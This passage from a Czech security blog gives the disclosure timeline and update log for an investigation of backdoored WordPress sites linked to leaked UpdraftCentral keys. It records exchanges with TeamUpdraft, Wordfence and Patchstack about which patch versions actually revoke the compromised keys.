      1. 2026: Wordfence a Patchstacku jsme poslali vzorky z našich webů a později i indikátory funkční varianty, které nám poskytl další správce.
      1. 2026: Wordfence a Patchstacku jsme se souhlasem dalších dvou postižených správců poslali jejich vzorky včetně minimální třetí varianty a záznamy o výměně backdooru.
      1. 2026: TeamUpdraft odpověděl na naše doplňující otázky. Útočník měl přístup na teamupdraft.com od večera soboty 17. 10., podezřelou aktivitu výrobce zjistil v neděli 18. 10. večer a únik potvrdil kolem 20:00 BST. Přístup zablokoval, odhlásil všechny účty a začal měnit klíče a přístupové údaje. Tajemství pro TOTP se podle výrobce nedají uložit jako hash, proto je při úniku databáze třeba počítat i s nimi. Jako nouzovou verzi uvedl 2.26.12, která však klíče nesmaže (viz výše). Zda zveřejní indikátory kompromitace, zatím neví.
      1. 2026: upozornili jsme TeamUpdraft, že verze 2.26.12 klíče nesmaže a že hranice 18. 10. 12:07 UTC ve verzi 1.26.13 neodpovídá jejich prohlášení, a zeptali jsme se na dostupnost 2.26.13 pro prémiové zákazníky.
      1. 2026: Wordfence a Patchstack jsme informovali, že verze 2.26.12 klíče nesmaže, o předem zaškrtnutém políčku „Add this website to UpdraftCentral“ a o dalším vzorku první varianty.
      1. 2026: Wordfence a Patchstacku jsme se souhlasem dalšího správce poslali tři vzorky z jednoho webu včetně minimální varianty, která se skrývá ze seznamu pluginů.
      1. 2026: Wordfence zveřejnil vlastní upozornění, ve kterém cituje náš rozbor, a vydal pravidlo firewallu i pro bezplatnou verzi. Pravidlo ani upozornění zatím nepočítají s tím, že 1.26.12 / 2.26.12 klíče nesmaže.
      1. 2026: Wordfence jsme upozornili, že jejich pravidlo nekryje verze 1.26.12 / 2.26.12, které klíče nesmažou, a že hranice revokace je 12:07 UTC. Wordfence i Patchstack dostaly indikátory dnešních pokusů o použití backdoorů.
      1. 2026: Wordfence a Patchstacku jsme se souhlasem dalších tří správců poslali dvanáct vzorků včetně druhé kopie skryté minimální varianty.
      1. 2026: TeamUpdraft doplnil do prohlášení, že verze 1.26.13 / 2.26.13 vydaná 19. 10. krátce po 22:00 BST zrušila klíče UpdraftCentral a neoprávněný přístup byl ukončen. V návodu však stále doporučuje 1.26.12 / 2.26.12. Na otázku, kterou verzi aktualizovat, nám výrobce odpověděl odkazem na toto prohlášení.
      1. 2026: TeamUpdraft jsme upozornili, že útočník i 21. 10. ráno posílal příkazy UpdraftCentral, že jejich návod stále uvádí 1.26.12 / 2.26.12 a že prémiová verze může mít heslo k účtu teamupdraft.com uložené v databázi. Výrobce nám mezitím odepsal, že náš článek předal vývojářům.
      1. 2026: TeamUpdraft v aktualizacích prohlášení uvedl, že se útočník na teamupdraft.com dostal pomocí kompromitovaného klíče, že výrobce přizval externí bezpečnostní firmu a kontaktoval policii a že WordPress.org verzi 1.26.13 rozeslal všem webům automaticky. Uživatele prémiové verze vyzývá zkontrolovat weby, i když UpdraftCentral nikdy nepoužívali. Rychlost útoku a zpočátku chybné backdoory podle výrobce naznačují, že útočník použil AI. Na naši poslední zprávu výrobce odepsal, že návod už upravil a že všem zákazníkům doporučuje změnit heslo k účtu teamupdraft.com. V krocích návodu však k 22. 10. stále stálo 1.26.12 / 2.26.12 a k časové hranici revokace se nevyjádřil. Obojí výrobce do 23. 10. opravil (viz níže).
      1. 2026: Wordfence a Patchstacku jsme se souhlasem dalšího správce poslali vzorek cache-jack-c7a a záznam o pokusu útočníka použít ho 20. 10.
      1. 2026: TeamUpdraft opravil prohlášení (poslední aktualizace 23. 10. 05:26 BST). V krocích návodu už uvádí 1.26.13 / 2.26.13 a jako hranici automaticky zrušených spojení 18. 10. 13:07 BST (14:07 SELČ), což odpovídá kódu. Výrobce nám opravu oznámil a požádal nás o úpravu článku.

Pokud jste podobný útok zaznamenali i vy, napište nám na info@nethemba.com. Vzorky a další technické podklady poskytneme výrobci i bezpečnostním týmům na požádání.

Aktualizace

      1. 2026: první zveřejnění.
      1. 2026: upozornění, že log UpdraftCentral uchovává jen 50 událostí, a kontrola access logu; doporučení nevytvářet spojení znovu; postup pro plně kompromitované weby; upřesnění dotčených verzí u CVE-2026-10795.
      1. 2026: doplněno vyjádření výrobce, který potvrdil únik klíčů z teamupdraft.com; aktualizována doporučení, oprava a rozsah.
      1. 2026 (večer): druhá varianta se skrytým administrátorem, další vzorky první varianty, druhá IP adresa, odkaz na analýzu Patchstacku, kontrolní skript ve verzi 2.
      1. 2026: doplněna přímá odpověď výrobce na naše hlášení.
      1. 2026: potvrzená funkční varianta v oběhu, další vzorky obou variant, kontrola spouštěčů v access logu, ochrana přes nezapisovatelný adresář pluginů, průzkum z 23. 9., kontrolní skript ve verzi 3.
      1. 2026: rozbor vzorku funkční varianty (skrývání účtu nefunguje), minimální třetí varianta, další vzorek první varianty, upozornění na opakované nahrání backdooru, kontrolní skript ve verzi 4.
      1. 2026: útočník se vrací (výměna backdooru přes plugin.delete_plugin, pokusy o příkazy na naše weby až do večera), výběr webů podle seznamu v UpdraftCentral, kontrolní skript ve verzi 5.
      1. 2026: nouzová verze výrobce (1.26.12 klíče nesmaže, funguje až 1.26.13, a to ne pro klíče z 18. 10. mezi 14:07 a 23:00 SELČ), doplněné odpovědi výrobce.
      1. 2026: klíč UpdraftCentral může vzniknout bez vědomí správce (předem zaškrtnuté políčko v prémiové verzi), další vzorek první varianty, poznámka k IP adresám za proxy, kontrolní skript ve verzi 6.
      1. 2026: kontrolní skript ve verzi 7 rozlišuje chybějící log UpdraftCentral.
      1. 2026: skrytá obměna minimální varianty, další vzorky, více backdoorů na jednom webu, kontrolní skript ve verzi 8.
      1. 2026: další vzorek první varianty (nav-hub).
      1. 2026: deset dalších vzorků od tří správců, funkční backdoory aktivní před pádem webu, význam řádků „Signature verification failed“, opakující se jména autorů.
      1. 2026: doporučení smazat i klíče UpdraftPlus Migrator, kontrolní skript ve verzi 9.
      1. 2026: útočník zkouší spouštěče odstraněných backdoorů (nové IP adresy), oprava: předem zaškrtnuté políčko má i bezplatná verze, význam stavových kódů v access logu, odkaz na upozornění Wordfence a jeho pravidlo firewallu, další názvy.
      1. 2026: upřesnění, kdy klíč UpdraftCentral vzniká.
      1. 2026: doplněné vyjádření výrobce z 20. 10., naše weby dostaly 2.26.13, upozornění na heslo k účtu teamupdraft.com uložené v databázi.
      1. 2026: útočník posílá příkazy UpdraftCentral i po vydání 1.26.13.
      1. 2026: další pokusy o použití backdoorů (nové rozsahy IP adres), možná související zjišťování verze UpdraftPlus.
      1. 2026: nová vyjádření výrobce z 21. 10. (vynucená aktualizace přes WordPress.org, externí firma, policie).
      1. 2026: heslo k účtu teamupdraft.com uložené v databázi a jak ho odstranit, další rozsah IP adres při pokusech o použití backdoorů, kontrolní skript ve verzi 10.
      1. 2026: další vzorek první varianty (cache-jack-c7a).
      1. 2026: doplněno, jak často zůstává heslo k účtu teamupdraft.com v databázi.
      1. 2026: test čtenáře a vyjádření výrobce k heslu uloženému v databázi.
      1. 2026: opravené prohlášení výrobce z 23. 10. (verze 1.26.13 / 2.26.13 v návodu, hranice 14:07 SELČ); upraveny dotčené verze, oprava a komunikace s výrobcem.

more insights

Rozlomená pečeť obchodního rejstříku, ze které unikají záznamy s rodnými čísly

Stát jako největší hrozba soukromí

Nesmyslný slovenský zákon zveřejnil rodná čísla, adresy a podpisové vzory jednatelů — a není to chyba, je to napsáno v § 100 odst. 3. Jsme přesvědčeni, že největší hrozbou pro soukromí občanů je dnes samotný stát.

Read more >